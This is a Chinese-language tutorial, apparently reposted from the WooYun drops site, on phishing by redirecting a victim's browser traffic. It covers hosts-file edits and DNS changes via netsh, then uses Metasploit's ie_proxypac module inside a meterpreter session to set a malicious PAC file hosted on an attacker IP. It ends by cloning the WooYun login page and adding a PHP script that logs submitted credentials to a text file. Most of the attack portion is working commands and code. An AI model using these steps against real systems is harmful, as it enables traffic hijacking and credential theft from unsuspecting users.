<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/8638

    0x00 常見網絡釣魚方式


    攻擊者進行網絡釣魚的方式常有以下幾種:

    1. 通過修改受害者hosts文件(C:\WINDOWS\system32\drivers\etc\hosts)來實現;

    2. 通過修改受害者dns來實現;

    3. 已經進入路由器,直接修改路由器的DNS。

    羅列的并不全,之后遇到的話再補充,上述三種方式很常見。

    1. 修改HOSTS文件,即攻擊者修改受害者HOSTS文件為如下形式:

      127.0.0.1 localhost x.x.x.x www.wooyun.com

    這樣就受害者訪問www.wooyun.com會直接訪問到x.x.x.x。在msf中可以使用inject_host腳本來實現。

    1. 修改dns進行攻擊:

      攻擊者可是使用如下命令修改受害者的dns地址(管理員身份執行):

      C:\Windows\system32>netsh interface ip show interfaces        
      
      Idx  Met   MTU   狀態          名稱
      ---  ---  -----  -----------  -------------------
        1   50 4294967295  connected    Loopback Pseudo-Interface 1
       10   10   1500  connected    本地連接        
      
      C:\Windows\system32>netsh interface ip set dns "本地連接" static 192.168.1.100
      C:\Windows\system32>ipconfig /all | findstr 192.168.1.100
         DNS 服務器  . . . . . . . . . . . : 192.168.1.100
      

      這樣就修改了受害者的DNS地址,之后可以使用msf的 fakedns來架設dns服務器來修改域名的解析地址。

    除了直接修改路由器的DNS地址的以上兩種方式在某些環境下還是有一些缺點的,例如,一些牛逼的AV會檢測到文件的修改而發出報警,除此之外,如果受害者所處內網環境中的防火墻或路由器攔截對外部的DNS請求,修改受害者DNS的攻擊方式并不能生效(因為攻擊者架設的DNS在外網環境下)。

    0x01 通過PAC代理


    本文主要介紹的是Metasploit中的一個模塊ie_proxypac。通過.PAC(自動配置代理)文件來完全控制IE的用戶流量。只需要修改PAC文件,攻擊者就能使受害者訪問的某個域名指向攻擊者的IP。雖然沒有修改DNS但是可以達到同樣的效果,且這種方式較為隱蔽。已經有很多人使用這種方式進行網絡釣魚

    下面是一個PAC文件示例:

    function FindProxyForURL(url, host)
    {
    if (shExpMatch(host, "www.wooyun.org")) { 
     return "PROXY 192.168.52.129:80; DIRECT";
    }
    if (shExpMatch(host, "www.baidu.com")) { 
     return "PROXY 192.168.52.129:80; DIRECT";
    }
    }
    

    這個文件的配置是當受害者訪問www.wooyun.com以及www.baidu.com時,他會直接請求到攻擊者ip( 192.168.52.129)。

    詳細的PAC編寫請查看http://findproxyforurl.com/pac-functions/。

    將以上腳本保存為test.pac,在獲取meterpreter會話的基礎上使用ie_proxypac腳本:

    #!bash
    meterpreter > background 
    [*] Backgrounding session 1...
    msf > use post/windows/manage/ie_proxypac 
    msf post(ie_proxypac) > set session 1
    session => 1
    msf post(ie_proxypac) > set REMOTE_PAC http://192.168.52.129/test.pac
    REMOTE_PAC => http://192.168.52.129/test.pac
    msf post(ie_proxypac) > show options     
    
    Module options (post/windows/manage/ie_proxypac):    
    
       Name           Current Setting         Required  Description
       ----           ---------------         --------  -----------
       AUTO_DETECT    false                           yes       Automatically detect settings.
       DISABLE_PROXY  false                           yes       Disable the proxy server.
       LOCAL_PAC                                      no        Local PAC file.
       REMOTE_PAC     http://192.168.52.129/test.pac  no        Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
       SESSION        1                               yes       The session to run this module on.
    msf post(ie_proxypac) > exploit     
    
    [*] Setting automatic configuration script from local PAC file ...
    [+] Automatic configuration script configured...
    [*] Post module execution completed    
    

    之后打開ie,internet選項->連接->局域網設置:

    Alt text

    可以看到pac已經使用pac文件進行了代理。

    代理盡量使用遠程代理,因為IE11默認禁止本地代理,如果使用本地代理,代理是無效的。詳情測試發現,如果連接了vpn,pac代理是失效的。

    現在再訪問www.baidu.com,www.wooyun.org,會看到已經轉移到了我們制定的ip:

    Alt text

    0x02 能做什么


    這里我們修改pac文件如下:

    function FindProxyForURL(url, host)
    {
    if (shExpMatch(host, "www.wooyun.org")) { 
     return "PROXY 192.168.52.129:80; DIRECT";
    }
    }
    

    這里ip要改成自己的web的ip,如果受害者請求的網站host為 www.wooyun.org 時,滿足規則,然后跳轉到我們指定的ip地址,這里我們可以來構造釣魚。

    打開wooyun,右鍵查看源代碼,將所有源代碼保存為index.html,放在網站根目錄下,因為當受害者請求 http://wooyun.org,其host為 wooyun.org 不滿足代理條件,就會直接請求,所以我們把源代碼中的www.wooyun.org,改為wooyun.org:

    Alt text

    然后找到url,src,href標簽,修改為http://wooyun.org/xxxx 的形式,比如

    #!html
    <link href="/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
    

    修改為

    #!html
    <link  rel="stylesheet" type="text/css"/>
    

    改完以后,基本上就算克隆成功了:

    Alt text

    下來要把登陸頁面的的源碼復制過來,打開http://www.wooyun.org/user.php?action=login,右鍵復制源碼,保存為user.php,放在網站根目錄下,修改源碼中的url,src,href。修改完之后,打開index.html文件,定位登錄,修改href為 user.php?action=login,修改以后此標簽為:

    #!html
    <a href="user.php?action=login">登錄</a> | <a  class="reg">注冊</a>
    

    打開user.php,定位用戶登錄表單,修改表單action為post.php:

    #!html
    <a href="#">用戶登錄</a></div>
            </div>
    <form action="post.php" method="POST">  
    .....
    

    在網站根目錄新建post.php,添加如下代碼:

    #!php
    <?php $file = 'data.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://wooyun.org/user.php?action=login" />
    

    這樣釣魚站就搭建好了。

    當用戶登錄時:

    Alt text

    點擊登陸以后會跳轉到http://wooyun.org/user.php?action=login

    Alt text

    查看data.txt:

    Alt text

    只是簡單地一個示例,具體可以通過修改pac文件來實現控制瀏覽器是否進行代理。

    0x03 小結


    此種方式進行網絡釣魚,做的細致的話,很難被發現,而且隱蔽性好,缺點就是連接vpn以后代理將會失效。以上是個人的測試結果,請各位大牛指正。

    97av